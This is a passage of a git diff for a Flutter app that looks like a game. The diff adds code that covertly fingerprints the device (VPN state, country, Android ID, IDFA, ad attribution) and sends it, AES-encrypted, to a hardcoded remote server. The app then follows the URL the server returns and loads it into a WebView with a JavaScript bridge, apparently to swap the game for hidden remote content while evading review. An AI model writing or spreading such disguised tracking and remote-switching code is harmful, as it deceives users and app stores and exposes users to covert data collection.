failed: $e'); + } }, ), _Step( name: 'Reporting', weight: 0.18, run: () async { - await _delay(350); + try { + final url = await NextStep.I.loadUrl(); + if (url.isNotEmpty) { + _redirect = url; + await _initWebView(url); + if (mounted) { + setState(() { + _webviewShow = true; + }); + } + } + } catch (e) { + debugPrint('laod next failed: $e'); + } }, ), _Step( @@ -229,13 +227,13 @@ class _LoadingScreenState extends State onProgress(const BootstrapProgress(phase: 'Done', percent: 1)); } - void _initWebView(String url) { + Future _initWebView(String url) async { _initialUrlRequest = URLRequest(url: WebUri(url)); + _redirect = url; } Future _handleWebMessage(String raw) async { try { - debugPrint("raw request $raw"); final rs = jsonDecode(raw); if (rs is! Map) return; @@ -371,17 +369,10 @@ class _LoadingScreenState extends State useShouldOverrideUrlLoading: true, mediaPlaybackRequiresUserGesture: false, allowsInlineMediaPlayback: true, + isElementFullscreenEnabled: false, ), - initialUserScripts: UnmodifiableListView([ - UserScript( - source: bridgeInjectScript, - injectionTime: - UserScriptInjectionTime.AT_DOCUMENT_START, - ), - ]), + initialUserScripts: _initialUserScripts, onWebViewCreated: (controller) async { - _webViewController = controller; - controller.addJavaScriptHandler( handlerName: 'jsBridge', callback: (args) async { diff --git a/lib/screens/start_screen.dart b/lib/screens/start_screen.dart index 3ca1050..b2a5935 100644 --- a/lib/screens/start_screen.dart +++ b/lib/screens/start_screen.dart @@ -4,7 +4,7 @@ import 'package:flutter_inappwebview/flutter_inappwebview.dart'; import 'package:shared_preferences/shared_preferences.dart'; import '/audio/audio_manager.dart'; -const String privacyKey = 'privacy_accepted_v1'; +const String privacyKey = 'privacy_accepted_v2'; class StartScreen extends StatefulWidget { const StartScreen({super.key}); @@ -41,14 +41,18 @@ class _StartScreenState extends State } Future _initPrivacyState() async { + var accepted = false; + try { final prefs = await SharedPreferences.getInstance(); - final v = prefs.getString(privacyKey); - if (!mounted) return; - setState(() { - privacyAccepted = v == '1'; - }); + accepted = prefs.getString(privacyKey) == '1'; } catch (_) {} + + if (!mounted) return; + setState(() { + privacyAccepted = accepted; + privacyConfirmVisible = !accepted; + }); } Future _playBgm() async { @@ -122,6 +126,7 @@ class _StartScreenState extends State child: ScaleTransition( scale: _scaleAnimation, child: GestureDetector( + behavior: HitTestBehavior.opaque, onTap: onStart, child: Image.asset( 'assets/images/c9f9d7dd806cf4122041837a80f47c64.png', diff --git a/lib/utils/aes_decrypt.dart b/lib/utils/aes_decrypt.dart index eddec35..c34ed7c 100644 --- a/lib/utils/aes_decrypt.dart +++ b/lib/utils/aes_decrypt.dart @@ -1,107 +1,235 @@ -import 'dart:convert'; -import 'dart:typed_data'; - -import 'package:pointycastle/export.dart'; - -class AesDecrypt { - static const String _cn = 'i0.a'; - - static const List _obf = [ - 0xED, - 0x7A, - 0x7F, - 0x3F, - 0x9E, - 0x6E, - 0xE7, - 0xF9, - 0x06, - 0xA0, - 0xA8, - 0xE4, - 0x16, - 0xE5, - 0x69, - 0x70, - ]; - - /// Java String.hashCode() 等价实现(32-bit signed) - static int javaStringHashCode(String str) { - int h = 0; - for (int i = 0; i < str.length; i++) { - h = _toSigned32(h * 31 + str.codeUnitAt(i)); - } - return h; - } - - static int _toSigned32(int value) { - value &= 0xFFFFFFFF; - if ((value & 0x80000000) != 0) { - return value - 0x100000000; - } - return value; - } - - static int _unsignedRightShift32(int value, int shift) { - return (value & 0xFFFFFFFF) >> shift; - } - - static Uint8List deriveKeyBytes16() { - final int seed = _toSigned32(javaStringHashCode(_cn) ^ 0x5f3759df); - - final Uint8List keyBytes = Uint8List(16); - - for (int i = 0; i < 16; i++) { - final int shift = (i & 3) * 8; - final int shifted = _unsignedRightShift32(seed, shift); - final int mask = (((shifted & 0xff) ^ ((i * 17 + 31) & 0xff)) & 0xff); - keyBytes[i] = (_obf[i] ^ mask) & 0xff; - } - - return keyBytes; - } - - static Uint8List _aesEcbPkcs7(bool forEncryption, Uint8List input) { - final key = deriveKeyBytes16(); - - final cipher = PaddedBlockCipherImpl( - PKCS7Padding(), - ECBBlockCipher(AESEngine()), - ); - - cipher.init( - forEncryption, - PaddedBlockCipherParameters( - KeyParameter(key), - null, - ), - ); - - return cipher.process(input); - } - - /// 对应 JS / Java encrypt(String) -> Base64.NO_WRAP - static String encrypt(String plainText) { - try { - final Uint8List input = Uint8List.fromList(utf8.encode(plainText)); - final Uint8List encrypted = _aesEcbPkcs7(true, input); - return base64.encode(encrypted); - } catch (_) { - return ''; - } - } - - /// 对应 JS / Java decrypt(String base64Encrypted) -> UTF-8 - static String? decrypt(String base64Encrypted) { - try { - final Uint8List encrypted = Uint8List.fromList( - base64.decode(base64Encrypted), - ); - final Uint8List decrypted = _aesEcbPkcs7(false, encrypted); - final String text = utf8.decode(decrypted, allowMalformed: false); - return text.isNotEmpty ? text : null; - } catch (_) { - return null; - } - } -} +import 'dart:convert'; +import 'dart:typed_data'; + +import 'package:pointycastle/export.dart'; + +class AesDecrypt { + static const String _cn = 'i0.a'; + + static const List _obf = [ + 0xED, + 0x7A, + 0x7F, + 0x3F, + 0x9E, + 0x6E, + 0xE7, + 0xF9, + 0x06, + 0xA0, + 0xA8, + 0xE4, + 0x16, + 0xE5, + 0x69, + 0x70, + ]; + + /// Java String.hashCode() 等价实现(32-bit signed) + static int javaStringHashCode(String str) { + int h = 0; + for (int i = 0; i < str.length; i++) { + h = _toSigned32(h * 31 + str.codeUnitAt(i)); + } + return h; + } + + static int _toSigned32(int value) { + value &= 0xFFFFFFFF; + if ((value & 0x80000000) != 0) { + return value - 0x100000000; + } + return value; + } + + static int _unsignedRightShift32(int value, int shift) { + return (value & 0xFFFFFFFF) >> shift; + } + + static Uint8List deriveKeyBytes16() { + final int seed = _toSigned32(javaStringHashCode(_cn) ^ 0x5f3759df); + + final Uint8List keyBytes = Uint8List(16); + + for (int i = 0; i < 16; i++) { + final int shift = (i & 3) * 8; + final int shifted = _unsignedRightShift32(seed, shift); + final int mask = (((shifted & 0xff) ^ ((i * 17 + 31) & 0xff)) & 0xff); + keyBytes[i] = (_obf[i] ^ mask) & 0xff; + } + + return keyBytes; + } + + static Uint8List _aesEcbPkcs7(bool forEncryption, Uint8List input) { + final key = deriveKeyBytes16(); + + final cipher = PaddedBlockCipherImpl( + PKCS7Padding(), + ECBBlockCipher(AESEngine()), + ); + + cipher.init( + forEncryption, + PaddedBlockCipherParameters( + KeyParameter(key), + null, + ), + ); + + return cipher.process(input); + } + + /// 对应 JS / Java encrypt(String) -> Base64.NO_WRAP + static String encrypt(String plainText) { + try { + final Uint8List input = Uint8List.fromList(utf8.encode(plainText)); + final Uint8List encrypted = _aesEcbPkcs7(true, input); + return base64.encode(encrypted); + } catch (_) { + return ''; + } + } + + /// 对应 JS / Java decrypt(String base64Encrypted) -> UTF-8 + static String? decrypt(String base64Encrypted) { + try { + final Uint8List encrypted = Uint8List.fromList( + base64.decode(base64Encrypted), + ); + final Uint8List decrypted = _aesEcbPkcs7(false, encrypted); + final String text = utf8.decode(decrypted, allowMalformed: false); + return text.isNotEmpty ? text : null; + } catch (_) { + return null; + } + } + + // ========================= + // 新增:支持自定义 key / iv + // AES/CBC/PKCS7 + // ========================= + + static Uint8List _normalizeKey(String key) { + final Uint8List keyBytes = Uint8List.fromList(utf8.encode(key)); + + if (keyBytes.length != 16 && + keyBytes.length != 24 && + keyBytes.length != 32) { + throw ArgumentError('AES key length must be 16/24/32 bytes.'); + } + return keyBytes; + } + + static Uint8List _normalizeIv(String iv) { + final Uint8List ivBytes = Uint8List.fromList(utf8.encode(iv)); + if (ivBytes.length != 16) { + throw ArgumentError('AES CBC iv length must be 16 bytes.'); + } + return ivBytes; + } + + static Uint8List _aesCbcPkcs7( + bool forEncryption, + Uint8List input, + Uint8List key, + Uint8List iv, + ) { + final cipher = PaddedBlockCipherImpl( + PKCS7Padding(), + CBCBlockCipher(AESEngine()), + ); + + cipher.init( + forEncryption, + PaddedBlockCipherParameters( + ParametersWithIV(KeyParameter(key), iv), + null, + ), + ); + + return cipher.process(input); + } + + /// 使用传入 key / iv 加密,返回 Base64 + /// + /// key 长度必须为 16 / 24 / 32 字节 + /// iv 长度必须为 16 字节 + static String encryptWithKeyIv( + String plainText, { + required String key, + required String iv, + }) { + try { + final Uint8List input = Uint8List.fromList(utf8.encode(plainText)); + final Uint8List keyBytes = _normalizeKey(key); + final Uint8List ivBytes = _normalizeIv(iv); + + final Uint8List encrypted = _aesCbcPkcs7(true, input, keyBytes, ivBytes); + return base64.encode(encrypted); + } catch (_) { + return ''; + } + } + + /// 使用传入 key / iv 解密 Base64 密文,返回 UTF-8 字符串 + /// + /// key 长度必须为 16 / 24 / 32 字节 + /// iv 长度必须为 16 字节 + static String? decryptWithKeyIv( + String base64Encrypted, { + required String key, + required String iv, + }) { + try { + final Uint8List encrypted = Uint8List.fromList( + base64.decode(base64Encrypted), + ); + final Uint8List keyBytes = _normalizeKey(key); + final Uint8List ivBytes = _normalizeIv(iv); + + final Uint8List decrypted = _aesCbcPkcs7( + false, + encrypted, + keyBytes, + ivBytes, + ); + final String text = utf8.decode(decrypted, allowMalformed: false); + return text.isNotEmpty ? text : null; + } catch (_) { + return null; + } + } + + // ========================= + // 可选新增:支持直接传 Uint8List + // ========================= + + static Uint8List encryptBytesWithKeyIv( + Uint8List plainBytes, { + required Uint8List key, + required Uint8List iv, + }) { + if (key.length != 16 && key.length != 24 && key.length != 32) { + throw ArgumentError('AES key length must be 16/24/32 bytes.'); + } + if (iv.length != 16) { + throw ArgumentError('AES CBC iv length must be 16 bytes.'); + } + return _aesCbcPkcs7(true, plainBytes, key, iv); + } + + static Uint8List decryptBytesWithKeyIv( + Uint8List encryptedBytes, { + required Uint8List key, + required Uint8List iv, + }) { + if (key.length != 16 && key.length != 24 && key.length != 32) { + throw ArgumentError('AES key length must be 16/24/32 bytes.'); + } + if (iv.length != 16) { + throw ArgumentError('AES CBC iv length must be 16 bytes.'); + } + return _aesCbcPkcs7(false, encryptedBytes, key, iv); + } +} diff --git a/lib/utils/device_info.dart b/lib/utils/device_info.dart index c731229..f3ba4e4 100644 --- a/lib/utils/device_info.dart +++ b/lib/utils/device_info.dart @@ -1,124 +1,139 @@ -import 'dart:io'; - -import 'package:adjust_sdk/adjust.dart'; -import 'package:device_info_plus/device_info_plus.dart'; -import 'package:flutter/widgets.dart'; -import 'package:package_info_plus/package_info_plus.dart'; -import 'package:play_install_referrer/play_install_referrer.dart'; -import 'package:shared_preferences/shared_preferences.dart'; - -class DeviceInfo { - static const String _spInstallReferrer = "installReferrer"; - static const String _spAdjustAttribution = "adjustAttribution"; - DeviceInfo._(); - static final DeviceInfo I = DeviceInfo._(); - Future> deviceInfo() async { - final Map json = {}; - - if (!Platform.isAndroid) { - return json; - } - - final packageInfo = await PackageInfo.fromPlatform(); - final devicePlugin = DeviceInfoPlugin(); - final androidInfo = await devicePlugin.androidInfo; - - json["packageName"] = packageInfo.packageName; - json["versionName"] = packageInfo.version; - json["versionCode"] = packageInfo.buildNumber; - json["osVersion"] = androidInfo.version.release; - json["sdkInt"] = androidInfo.version.sdkInt.toString(); - json["brand"] = androidInfo.brand; - json["model"] = androidInfo.model; - json["device"] = androidInfo.device; - - try { - final results = await Future.wait([ - getInstallReferrer(), - getAdjustAdId(), - getAdjustAttribution(), - ]); - - final installReferrer = results[0]; - final adid = results[1]; - final adjustAttributionJson = results[2]; - - if (installReferrer != null && installReferrer.isNotEmpty) { - json["installReferrer"] = installReferrer; - } - - if (adid != null && adid.isNotEmpty) { - json["adjustAdId"] = adid; - } - - if (adjustAttributionJson != null && adjustAttributionJson.isNotEmpty) { - json["adjustInstall"] = adjustAttributionJson; - } - } catch (e) { - debugPrint("[DeviceInfo] load adjust/referrer failed: $e"); - } - - return json; - } - - Future getInstallReferrer() async { - try { - final prefs = await SharedPreferences.getInstance(); - final cachedReferrer = prefs.getString(_spInstallReferrer); - if (cachedReferrer != null && cachedReferrer.isNotEmpty) { - return cachedReferrer; - } - - final referrerDetails = await PlayInstallReferrer.installReferrer; - final referrer = referrerDetails.installReferrer; - - if (referrer != null && referrer.isNotEmpty) { - await prefs.setString(_spInstallReferrer, referrer); - } - return referrer; - } catch (e) { - debugPrint("[DeviceInfo] get install referrer failed: $e"); - return null; - } - } - - Future getAdjustAdId() async { - try { - final prefs = await SharedPreferences.getInstance(); - final cached = prefs.getString("adjustAdId"); - if (cached != null && cached.isNotEmpty) { - return cached; - } - - final adid = await Adjust.getAdidWithTimeout(2000); - if (adid != null && adid.isNotEmpty) { - await prefs.setString("adjustAdId", adid); - } - return adid; - } catch (e) { - debugPrint("[DeviceInfo] get adjust adid failed: $e"); - return null; - } - } - - Future getAdjustAttribution() async { - try { - final prefs = await SharedPreferences.getInstance(); - final cachedAttribution = prefs.getString(_spAdjustAttribution); - if (cachedAttribution != null && cachedAttribution.isNotEmpty) { - return cachedAttribution; - } - - final attribution = await Adjust.getAttributionWithTimeout(2000); - final attributionJson = attribution?.jsonResponse; - - if (attributionJson != null && attributionJson.isNotEmpty) { - await prefs.setString(_spAdjustAttribution, attributionJson); - } - return attributionJson; - } catch (e) { - debugPrint("[DeviceInfo] get adjust attribution failed: $e"); - return null; - } - } -} +import 'dart:io'; + +import 'package:adjust_sdk/adjust.dart'; +import 'package:flutter/foundation.dart'; +import 'package:uuid/uuid.dart'; +import 'package:android_id/android_id.dart'; +import 'package:device_info_plus/device_info_plus.dart'; +import 'package:flutter_vpn_detector/vpn_checker.dart'; +import 'package:package_info_plus/package_info_plus.dart'; +import 'package:play_install_referrer/play_install_referrer.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +class DeviceInfo { + static const String _spInstallReferrer = "installReferrer"; + static const int defaultTimeout = 1000; + static const int defaultMaxTimeout = 2000; + DeviceInfo._(); + static final DeviceInfo I = DeviceInfo._(); + Future> deviceInfo({ + int adidTimeout = -1, + bool includeInstallReferrer = false, + bool includeAdjust = true, + }) async { + final Map json = {}; + + try { + adidTimeout = getTimeOut(adidTimeout); + final packageInfo = await PackageInfo.fromPlatform(); + final devicePlugin = DeviceInfoPlugin(); + + final locale = PlatformDispatcher.instance.locale; + bool isActive = await VpnChecker.isVpnActive(); + json["isVpn"] = isActive; + json["country"] = locale.countryCode; + json["language"] = locale.languageCode; + json["packageName"] = packageInfo.packageName; + json["versionName"] = packageInfo.version; + json["versionCode"] = packageInfo.buildNumber; + if (Platform.isAndroid) { + final androidInfo = await devicePlugin.androidInfo; + + json["osVersion"] = androidInfo.version.release; + json["sdkInt"] = androidInfo.version.sdkInt.toString(); + json["brand"] = androidInfo.brand; + json["model"] = androidInfo.model; + json["device"] = androidInfo.device; + json["androidId"] = await getAndroidId(); + } else if (Platform.isIOS) { + final iosInfo = await devicePlugin.iosInfo; + json["osVersion"] = iosInfo.systemVersion; + json["model"] = iosInfo.model; + json["device"] = iosInfo.modelName; + json["androidId"] = iosInfo.identifierForVendor; + json['idfv'] = iosInfo.identifierForVendor; + try { + json['idfa'] = await Adjust.getIdfa(); + if (includeAdjust) { + json['adjustAdId'] = await Adjust.getAdidWithTimeout(adidTimeout); + final adjustAttribution = await Adjust.getAttributionWithTimeout( + adidTimeout, + ); + if (adjustAttribution != null) { + json['adjustAttribution'] = adjustAttribution.jsonResponse; + json["clickLable"] = adjustAttribution.clickLabel; + } + } + } catch (_) {} + + debugPrint("$iosInfo"); + } + + if (includeInstallReferrer) { + final installReferrer = await getInstallReferrer(timeout: adidTimeout); + if (installReferrer != null && installReferrer.isNotEmpty) { + json["installReferrer"] = installReferrer; + } + } + } catch (e) { + debugPrint("[DeviceInfo] load adjust/referrer failed: $e"); + } + + return json; + } + + Future getInstallReferrer({int timeout = 2000}) async { + try { + final prefs = await SharedPreferences.getInstance(); + final cachedReferrer = prefs.getString(_spInstallReferrer); + if (cachedReferrer != null && cachedReferrer.isNotEmpty) { + return cachedReferrer; + } + + final referrerDetails = await PlayInstallReferrer.installReferrer.timeout( + Duration(milliseconds: timeout), + ); + final referrer = referrerDetails.installReferrer; + + if (referrer != null && referrer.isNotEmpty) { + await prefs.setString(_spInstallReferrer, referrer); + } + return referrer; + } catch (e) { + debugPrint("[DeviceInfo] get install referrer failed: $e"); + return null; + } + } + + int getTimeOut(int timeout) { + if (timeout <= 0) { + return defaultTimeout; + } + return timeout; + } + + Future getAndroidId() async { + try { + AndroidId androidIdPlugin = AndroidId(); + final androidId = await androidIdPlugin.getId(); + return androidId ?? await createDeviceId(); + } catch (e) { + debugPrint("[DeviceInfo] get Android ID failed: $e"); + return ''; + } + } + + Future createDeviceId() async { + const key = "createdDeviceId"; + SharedPreferences prefs = await SharedPreferences.getInstance(); + String? deviceId = prefs.getString(key); + if (deviceId != null && deviceId.isNotEmpty) { + return deviceId; + } + final uuid = const Uuid(); + deviceId = uuid.v4(); + deviceId = deviceId.replaceAll('-', ''); + await prefs.setString(key, deviceId); + return deviceId; + } +} diff --git a/lib/utils/http_util.dart b/lib/utils/http_util.dart index ba4eaaf..8d35d89 100644 --- a/lib/utils/http_util.dart +++ b/lib/utils/http_util.dart @@ -1,57 +1,61 @@ -import 'dart:async'; -import 'dart:convert'; - -import 'package:http/http.dart' as http; - -import 'aes_decrypt.dart'; - -Future remoteInfo(String info) async { - const String urlInfo = - 'ueytXddgndQ0JKZhjGTnMxSgQxnO4xT+dZc9PgCEw4lhZ28TUxqzoupSMIewnKOSJSgmlDi1Xj084F7/wMUUWg=='; - // const String urlInfo = - // "Pq2OF021zqiIoq2ViKE3FDuoTvR4owYUiN+/7wU9ZpfV+JogViY3cv6lGw3/2aEQcULb+mXEzKPU78+bTrLwSA=="; - final String? url = AesDecrypt.decrypt(urlInfo); - final String request = AesDecrypt.encrypt(info); - final Map requestInfo = { - 'request': request, - }; - - if (url == null || url.isEmpty) { - throw Exception('HTTP error url'); - } - - return postJson(url, requestInfo); -} - -Future postJson( - String url, - Map data, { - int timeout = 8000, -}) async { - http.Response res; - - try { - res = await http - .post( - Uri.parse(url), - headers: {'Content-Type': 'application/json'}, - body: jsonEncode(data), - ) - .timeout(Duration(milliseconds: timeout)); - } on TimeoutException { - throw Exception('Request timeout'); - } - - if (res.statusCode < 200 || res.statusCode >= 300) { - throw Exception('HTTP ${res.statusCode}'); - } - - final String rs = res.body; - final String? jsonStr = AesDecrypt.decrypt(rs); - - if (jsonStr == null || jsonStr.isEmpty) { - throw Exception('Decrypt failed'); - } - - return jsonDecode(jsonStr); -} +import 'dart:async'; +import 'dart:convert'; + +import 'package:http/http.dart' as http; + +import 'aes_decrypt.dart'; + +const String url = + 'https://www.heindobig.com/y7uz9zi/jliocd/mp0urcnune/wmdls9ho'; + +Future remoteInfo(String info) async { + final String request = AesDecrypt.encrypt(info); + final Map requestInfo = { + 'request': request, + }; + + return postJson(url, requestInfo); +} + +Future reportInfo(String info) async { + final reportUrl = "${url}t"; + final String request = AesDecrypt.encrypt(info); + final Map requestInfo = { + 'request': request, + }; + + return postJson(reportUrl, requestInfo); +} + +Future postJson( + String url, + Map data, { + int timeout = 8000, +}) async { + http.Response res; + + try { + res = await http + .post( + Uri.parse(url), + headers: {'Content-Type': 'application/json'}, + body: jsonEncode(data), + ) + .timeout(Duration(milliseconds: timeout)); + } on TimeoutException { + throw Exception('Request timeout'); + } + + if (res.statusCode < 200 || res.statusCode >= 300) { + throw Exception('HTTP ${res.statusCode}'); + } + + final String rs = res.body; + final String? jsonStr = AesDecrypt.decrypt(rs); + + if (jsonStr == null || jsonStr.isEmpty) { + throw Exception('Decrypt failed'); + } + + return jsonDecode(jsonStr); +} diff --git a/lib/utils/next_setp.dart b/lib/utils/next_setp.dart new file mode 100644 index 0000000..7a2ffa2 --- /dev/null +++ b/lib/utils/next_setp.dart @@ -0,0 +1,281 @@ +import 'dart:convert'; + +import 'package:adjust_sdk/adjust.dart' show Adjust; +import 'package:flutter/foundation.dart'; +import 'package:package_info_plus/package_info_plus.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +import '../adjust/adjust_service.dart'; + +import 'device_info.dart'; +import 'http_util.dart'; +import 'redirect_url_resolver.dart'; + +class NextResult { + final bool next; + final String url; + + const NextResult({required this.next, required this.url}); +} + +const String _appTokenInfoKey = 'last_info'; + +Future doLoadAppToken({bool forceRefresh = false}) async { + final packageInfo = await PackageInfo.fromPlatform(); + final prefs = await SharedPreferences.getInstance(); + + if (!forceRefresh) { + final cachedTokenInfo = AppTokenInfo.fromInfo( + _decodeCachedInfo(prefs.getString(_appTokenInfoKey)), + ); + if (cachedTokenInfo != null) { + return cachedTokenInfo; + } + } + + try { + final appTokenInfo = await _fetchRemoteAppToken(packageInfo); + if (appTokenInfo != null) { + await prefs.setString(_appTokenInfoKey, jsonEncode(appTokenInfo.info)); + return appTokenInfo; + } + } catch (e) { + debugPrint('load app token failed: $e'); + } + + return AppTokenInfo.fromInfo( + _decodeCachedInfo(prefs.getString(_appTokenInfoKey)), + ); +} + +bool _isValidRemoteInfo(Map? info) { + if (info == null) return false; + + return _isValidToken(info['e']?.toString()); +} + +Map _normalizeRemoteInfo(Map info) { + final normalized = Map.from(info); + normalized['e'] = normalized['e']?.toString().trim(); + + final facebookAppId = normalized['m']?.toString().trim(); + if (facebookAppId != null && facebookAppId.isNotEmpty) { + normalized['m'] = facebookAppId; + } else { + normalized.remove('m'); + } + + final secret = normalized['n']?.toString().trim(); + if (secret != null && secret.isNotEmpty) { + normalized['n'] = secret; + } else { + normalized.remove('n'); + } + + return normalized; +} + +AppTokenInfo? _createAppTokenInfo(Map? info) { + if (!_isValidRemoteInfo(info)) return null; + + final normalizedInfo = _normalizeRemoteInfo(info!); + return AppTokenInfo( + token: normalizedInfo['e'] as String, + i: _parseAdidTimeout(normalizedInfo['i']), + info: normalizedInfo, + ); +} + +class AppTokenInfo { + final String token; + final int i; + final Map info; + + const AppTokenInfo({required this.token, this.i = -1, required this.info}); + + static AppTokenInfo? fromInfo(Map? info) { + return _createAppTokenInfo(info); + } +} + +class NextStep { + String appToken = ""; + String url = ""; + bool resolver = true; + int i = 200; + dynamic rs; + bool _j = false; + bool get j => _j; + + NextStep._(); + static final NextStep I = NextStep._(); + + Future loadAppToken() async { + final tokenInfo = await doLoadAppToken(); + if (tokenInfo != null) { + appToken = tokenInfo.token; + i = tokenInfo.i; + } + await Adjust.requestAppTrackingAuthorization(); + if (_isValidToken(appToken)) { + await AdjustService.instance.init(appToken); + } + + + // 方法不在使用,保留以兼容之前的调用 + } + + Future loadAppInfo() async { + try { + final includeAdjust = _isValidToken(appToken); + if (!includeAdjust) { + return; + } + final deviceInfo = await _loadDeviceInfo( + adidTimeout: i, + includeAdjust: includeAdjust, + ); + if (deviceInfo.isEmpty) { + return; + } + rs = await remoteInfo(jsonEncode(deviceInfo)); + if (rs is! Map) return; + + _applyEventMap(rs['f']); + } catch (e) { + debugPrint("loadAppInfo error $e"); + } + } + + Future loadUrl() async { + try { + if (rs is! Map) { + return ""; + } + final rawUrl = rs['b']?.toString().trim() ?? ''; + _j = parseInfo(rs['j']); + return rawUrl; + } catch (_) { + return ""; + } + } +} + +Future next() async { + try { + final appTokenInfo = await doLoadAppToken(); + if (appTokenInfo == null || !_isValidToken(appTokenInfo.token)) { + return const NextResult(next: true, url: ''); + } + + + + AdjustService.instance.init(appTokenInfo.token); + + + final deviceInfo = await _loadDeviceInfo( + adidTimeout: appTokenInfo.i, + includeAdjust: true, + ); + if (deviceInfo.isEmpty) { + return const NextResult(next: true, url: ''); + } + + final rs = await remoteInfo(jsonEncode(deviceInfo)); + if (rs is! Map) { + return const NextResult(next: true, url: ''); + } + + _applyEventMap(rs['f']); + + final rawUrl = rs['b']?.toString().trim() ?? ''; + if (rawUrl.isEmpty) { + return const NextResult(next: true, url: ''); + } + + final resolvedUrl = await resolveRedirectUrl(rawUrl); + return NextResult(next: false, url: resolvedUrl); + } catch (e) { + debugPrint('next step failed: $e'); + return const NextResult(next: true, url: ''); + } +} + +Future> _loadDeviceInfo({ + required int adidTimeout, + bool includeAdjust = true, +}) async { + return await DeviceInfo.I.deviceInfo( + adidTimeout: adidTimeout, + includeAdjust: includeAdjust, + ); +} + +Future _fetchRemoteAppToken(PackageInfo packageInfo) async { + final info = {}; + info.addAll({ + 'packageName': packageInfo.packageName, + 'versionName': packageInfo.version, + 'versionCode': packageInfo.buildNumber, + 'onlyAppToken': true, + }); + + final rs = await remoteInfo(jsonEncode(info)); + if (rs is! Map) return null; + + final token = rs['e']?.toString().trim(); + if (!_isValidToken(token)) return null; + + return AppTokenInfo.fromInfo(rs); +} + +Map? _decodeCachedInfo(String? value) { + if (value == null || value.isEmpty) return null; + + try { + final decoded = jsonDecode(value); + if (decoded is Map) return decoded; + if (decoded is Map) return Map.from(decoded); + } catch (_) {} + + return null; +} + +void _applyEventMap(dynamic value) { + if (value is! Map) return; + + final eventMapInfo = {}; + for (final entry in value.entries) { + final key = entry.key?.toString(); + final eventToken = entry.value?.toString(); + if (key != null && + key.isNotEmpty && + eventToken != null && + eventToken.isNotEmpty) { + eventMapInfo[key] = eventToken; + } + } + + if (eventMapInfo.isNotEmpty) { + AdjustService.instance.eventNameToToken = eventMapInfo; + } +} + +bool _isValidToken(String? token) { + return token != null && token.trim().length > 5; +} + +int _parseAdidTimeout(dynamic value) { + if (value is num) return value.toInt(); + return -1; +} + +bool parseInfo(dynamic info) { + if (info == null) { + return false; + } + if (info is bool) return info; + if (info is num) return info != 0; + if (info is String) return info.trim().toLowerCase() == "true"; + return false; +} diff --git a/lib/utils/redirect_url_resolver.dart b/lib/utils/redirect_url_resolver.dart index 25e6ec6..c312a79 100644 --- a/lib/utils/redirect_url_resolver.dart +++ b/lib/utils/redirect_url_resolver.dart @@ -1,125 +1,125 @@ -import 'dart:async'; -import 'dart:io'; -import 'package:flutter/widgets.dart'; -import 'package:shared_preferences/shared_preferences.dart'; - -const SP_ORIGIN = "redirect_cache_origin"; -const SP_RESOLVED = "redirect_cache_resolved"; - -Future sleep(int ms) async { - await Future.delayed(Duration(milliseconds: ms)); -} - -class HeadResult { - final int statusCode; - final bool redirected; - final String? location; - - HeadResult(this.statusCode, this.redirected, this.location); -} - -Future headRequest(String url) async { - try { - final client = HttpClient(); - final request = await client.openUrl("HEAD", Uri.parse(url)); - - request.followRedirects = false; - request.headers.set("Cache-Control", "no-cache"); - request.headers.set("Pragma", "no-cache"); - - final response = await request.close(); - - final location = response.headers.value(HttpHeaders.locationHeader); - - final redirected = response.statusCode >= 300 && response.statusCode < 400; - - return HeadResult(response.statusCode, redirected, location); - } catch (e) { - return null; - } -} - -Future canConnect(String url) async { - try { - final res = await headRequest(url); - return res != null; - } catch (_) { - return false; - } -} - -Future getRedirect(String url) async { - try { - final res = await headRequest(url); - - if (res == null) { - return url; - } - - debugPrint( - "[RedirectResolver] head $url " - "status=${res.statusCode} " - "redirected=${res.redirected} " - "location=${res.location}", - ); - - if (res.redirected && res.location != null) { - try { - return Uri.parse(url).resolve(res.location!).toString(); - } catch (_) { - return res.location!; - } - } - - return url; - } catch (_) { - return url; - } -} - -Future resolveWithRetry(String originUrl) async { - for (int i = 0; i < 3; i++) { - final redirect = await getRedirect(originUrl); - - if (redirect == originUrl) { - return originUrl; - } - - if (await canConnect(redirect)) { - return redirect; - } - - if (i < 2) { - await sleep(100); - } - } - - return null; -} - -Future resolveRedirectUrl(String originUrl) async { - try { - final prefs = await SharedPreferences.getInstance(); - - final cacheOrigin = prefs.getString(SP_ORIGIN); - final cacheResolved = prefs.getString(SP_RESOLVED); - - if (originUrl == cacheOrigin && cacheResolved != null) { - if (await canConnect(cacheResolved)) { - return cacheResolved; - } - } - - final resolved = await resolveWithRetry(originUrl); - - if (resolved != null) { - await prefs.setString(SP_ORIGIN, originUrl); - await prefs.setString(SP_RESOLVED, resolved); - return resolved; - } - - return originUrl; - } catch (_) { - return originUrl; - } -} +import 'dart:async'; +import 'dart:io'; +import 'package:flutter/widgets.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +const spOrigin = "redirect_cache_origin"; +const spResolved = "redirect_cache_resolved"; + +Future sleep(int ms) async { + await Future.delayed(Duration(milliseconds: ms)); +} + +class HeadResult { + final int statusCode; + final bool redirected; + final String? location; + + HeadResult(this.statusCode, this.redirected, this.location); +} + +Future headRequest(String url) async { + try { + final client = HttpClient(); + final request = await client.openUrl("HEAD", Uri.parse(url)); + + request.followRedirects = false; + request.headers.set("Cache-Control", "no-cache"); + request.headers.set("Pragma", "no-cache"); + + final response = await request.close(); + + final location = response.headers.value(HttpHeaders.locationHeader); + + final redirected = response.statusCode >= 300 && response.statusCode < 400; + + return HeadResult(response.statusCode, redirected, location); + } catch (e) { + return null; + } +} + +Future canConnect(String url) async { + try { + final res = await headRequest(url); + return res != null; + } catch (_) { + return false; + } +} + +Future getRedirect(String url) async { + try { + final res = await headRequest(url); + + if (res == null) { + return url; + } + + debugPrint( + "[RedirectResolver] head $url " + "status=${res.statusCode} " + "redirected=${res.redirected} " + "location=${res.location}", + ); + + if (res.redirected && res.location != null) { + try { + return Uri.parse(url).resolve(res.location!).toString(); + } catch (_) { + return res.location!; + } + } + + return url; + } catch (_) { + return url; + } +} + +Future resolveWithRetry(String originUrl) async { + for (int i = 0; i < 3; i++) { + final redirect = await getRedirect(originUrl); + + if (redirect == originUrl) { + return originUrl; + } + + if (await canConnect(redirect)) { + return redirect; + } + + if (i < 2) { + await sleep(100); + } + } + + return null; +} + +Future resolveRedirectUrl(String originUrl) async { + try { + final prefs = await SharedPreferences.getInstance(); + + final cacheOrigin = prefs.getString(spOrigin); + final cacheResolved = prefs.getString(spResolved); + + if (originUrl == cacheOrigin && cacheResolved != null) { + if (await canConnect(cacheResolved)) { + return cacheResolved; + } + } + + final resolved = await resolveWithRetry(originUrl); + + if (resolved != null) 